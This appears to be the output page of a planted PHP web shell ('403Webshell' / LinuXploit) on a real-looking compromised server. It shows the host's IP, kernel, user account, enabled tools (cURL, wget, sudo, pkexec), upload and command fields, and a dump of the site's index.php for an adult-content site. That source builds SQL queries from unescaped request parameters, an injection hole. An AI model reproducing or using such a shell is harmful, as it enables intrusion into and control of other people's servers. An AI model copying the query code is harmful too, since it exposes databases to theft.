403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/index.php
<?php

	//include_once(getenv("DOCUMENT_ROOT").'/_config.php');
	include_once('_config.php');
		
	include_once('fnk/string_compare.php');
	include_once('fnk/tools.php');

	$content = 'home';
	if(!empty($_GET['content'])) {
		$content = addslashes($_GET['content']);
	}
	
	if($content <>'kink'){unset($_SESSION['kink']); }
	
	$page = 1;

	if(!empty($_GET['page'])) {
		$page = intval($_GET['page']);
	} else {
		$_SESSION['f_niche'] = false;
		$_SESSION['f_section'] = false;
		$_SESSION['site_desig'] = false;
	}


	if(isset($_POST['kink'])) {
		$_SESSION['kink'] = $_POST['kink'];
		$page = 1;
		}
	elseif(isset($_GET['kink'])) {
		$_SESSION['kink'] = $_GET['kink'];
		//$page = 1;
		}	
	
	if(isset($_POST['niche'])) {
		$_SESSION['f_niche'] = $_POST['niche'];
		$page = 1;
	}elseif(isset($_GET['niche'])) {
		$_SESSION['f_niche'] = $_GET['niche'];
		//$page = 1;
	} else {
		unset($_SESSION['f_niche']); 
	}


	if(isset($_POST['model_id'])) {
		$_SESSION['model_id'] = $_POST['model_id'];
		$page = 1;
	}elseif(isset($_GET['model_id'])) {
		$_SESSION['model_id'] = $_GET['model_id'];
		$page = 1;
	}		


	if(isset($_POST['searchphrase'])) {
		$_SESSION['searchphrase'] = $_POST['searchphrase'];
		$page = 1;
	}elseif(isset($_GET['searchphrase'])) {
		$_SESSION['searchphrase'] = $_GET['searchphrase'];
		$page = 1;
	}else{
		unset($_SESSION['searchphrase']);
	}	
	
	if(isset($_POST['site_desig'])) {
		$_SESSION['site_desig'] = $_POST['site_desig'];
		$page = 1;
	}elseif(isset($_GET['site_desig'])) {
		$_SESSION['site_desig'] = $_GET['site_desig'];
		$page = 1;
	}
		
		
		
	$pg = ($page - 1) * ITEMS_PER_PAGE;

	
	$page_title = 'Sporty One';
	
	
		if(!empty($_SESSION['searchphrase']) && $_SESSION['searchphrase'] <> 'Set # or Set Title Search...') {
				$cond = " and (a.asset_title like '%{$_SESSION['searchphrase']}%' )";
			} else {
				$cond = '';
			}
			
	$m2v_join = "join mod2asset as m2v on m.model_id = m2v.model_id";
	$site_join = "join sites as s on s.site_id = a.site_id";
	
	
			$sql_site_desig = "select SQL_CACHE site_desig from  asset where site_desig <> '' 
						   	   group by site_desig order by site_desig ASC";
			$site_desig_arr = $connection->query($sql_site_desig);		
			
		$sql_kinks = "select SQL_CACHE niche.niche_name, niche.niche_id from niche, niche2asset 
						   where niche2asset.niche_id = niche.niche_id group by niche.niche_id order by niche.niche_name ASC";
		$kinks = $connection->query($sql_kinks);	
		
		$sql_models_count = "select SQL_CACHE id, counted, 	res 
							from countemup
						   ";
		$models_count = $connection->query($sql_models_count);
		
		
	
	switch($content) {
// index page content
	
		
// index page content
		case 'home':
				
				include('code/c_home_pub.php');
			
		break;
		
// videos page content
		case 'videos':
			include('code/c_videos_pub.php');
		break;
		case 'videos_next':
			include('code/c_videos_pub.php');
		break;		
// photos page content
		case 'photos':
			
			include('code/c_photos_pub.php');
		

		break;
	
	
	
		
// model info page content		----------------------------------------------- -------------------------------------------------------------------------- -------------------------------------------------------------------------------------------- ----------------------------------- -----------------
		case 'model_sect':

			
			if(!empty($_GET['model_sect'])) {
				$model_sect = $_GET['model_sect'];
			} else {
				$content = 'error';
				break;
			}
			
		$page_title .= ' - Special Babes ';
		$section_title = $model_sect."'s";
		$section_title_single = $model_sect;
			
			
		$query = "	select SQL_CALC_FOUND_ROWS  m.model_id,  m.model_name 
				from models as m
				where m.special = '".$model_sect."' 
					or  m.special2 = '".$model_sect."' 
					or  m.special3 = '".$model_sect."' 
					or m.model_type = '".$model_sect."' 
					or 	m.model_type2 = '".$model_sect."' 
					or 	m.model_type3 = '".$model_sect."' 
					and m.live <> 'n'
				group by m.model_id
				limit $pg, " . ITEMS_PER_PAGE;
			
			$models_r = $connection->query($query);
			$count = $connection->query("SELECT FOUND_ROWS() AS `count`");
			if($count[0]['count'] > ITEMS_PER_PAGE) {
				$pagination['pages'] = ceil($count[0]['count'] / ITEMS_PER_PAGE);
				$pagination['page'] = $page;
				$pagination['links'] = 4;
				$pagination['link'] = '?content=model_sect&model_sect='.$model_sect.'&page=';
			}
			$sql_niches = "select niche.niche_name, niche.niche_id from niche, niche2asset 
						   where niche2asset.niche_id = niche.niche_id group by niche.niche_id order by niche.niche_name ASC";
			$niches = $connection->query($sql_niches);
	break;


// site info page content		----------------------------------------------- -------------------------------------------------------------------------- -------------------------------------------------------------------------------------------- ----------------------------------- -----------------
		case 'site_sect':

			
			if(!empty($_GET['site_sect'])) {
				$site_sect = $_GET['site_sect'];
			} else {
				$content = 'error';
				break;
			}
			
		$page_title .= ' - Special Babes ';
		$section_title = $site_sect."'s";
		$section_title_single = $site_sect;
			
			
		$query = "	select SQL_CALC_FOUND_ROWS  a.asset_id,  a.site_id, a.media, s.site_name, n.niche_name
				from asset as a
				join sites as s on s.site_id = a.site_id
				left join niche2asset n2a on a.asset_id = n2a.asset_id
				join niche as n on n.niche_id = n2a.niche_id

				where n.niche_id = '".$site_sect."' 
					
					and a.live <> 'n'
				group by a.asset_id
				limit $pg, " . ITEMS_PER_PAGE;
			
			$models_r = $connection->query($query);
			
		$page_title .= ' - Special Babes ';
		$section_title = $models_r[0]['niche_name']."'s";
		$section_title_single = $models_r[0]['niche_name'];
			
			$count = $connection->query("SELECT FOUND_ROWS() AS `count`");
			if($count[0]['count'] > ITEMS_PER_PAGE) {
				$pagination['pages'] = ceil($count[0]['count'] / ITEMS_PER_PAGE);
				$pagination['page'] = $page;
				$pagination['links'] = 4;
				$pagination['link'] = '?content=site_sect&site_sect='.$site_sect.'&page=';
			}
			$sql_niches = "select niche.niche_name, niche.niche_id from niche, niche2asset 
						   where niche2asset.niche_id = niche.niche_id group by niche.niche_id order by niche.niche_name ASC";
			$niches = $connection->query($sql_niches);
	break;
	
	
	
		case 'debuts':
			include('code/c_debuts_pub.php');
		break;


		case 'kink':
			include('code/c_kink_pub.php');
			
		break;


	case 'model':
			include('code/c_model_pub.php');
		
	break;


// models list page content				---

		case 'models':
			include('code/c_models_pub.php');
			
		break;

//  sites or studios action
		case 'sites':
			include('code/c_sites_pub.php');
			
		break;		
		case 'site':
			include('code/c_site_pub.php');
		break;			
// models list element content		
		case 'models_list':
			include('inc/models_list_inc.php');
			$connection->close();
			exit;
		break;


// support		
		case 'support':
		
		$section_title = ' Support  ';
		
		break;

// browse photos page content		
		case 'browse_photos':
		
		$section_title = ' Photo Gallery  ';
		
			if(!empty($_GET['id'])) {
				$id = $_GET['id'];
					$query = "UPDATE asset SET views=views+1 Where asset_id = '$id' ";
					$connection->update($query);
			} else {
				$content = 'error';
				break;
			}
		
		
			include('inc/browse_photos_inc.php');
		
		break;
		
		case 'rate':
			include('inc/rate_inc.php');
			$connection->close();
			exit;
		break;
		
		case 'comments':
			include('inc/comments_inc.php');
			$connection->close();
			exit;
		break;
	}
	
	include("template/default.php");
	
	$connection->close();
?>


Youez - 2016 - github.com/yon3zu
LinuXploit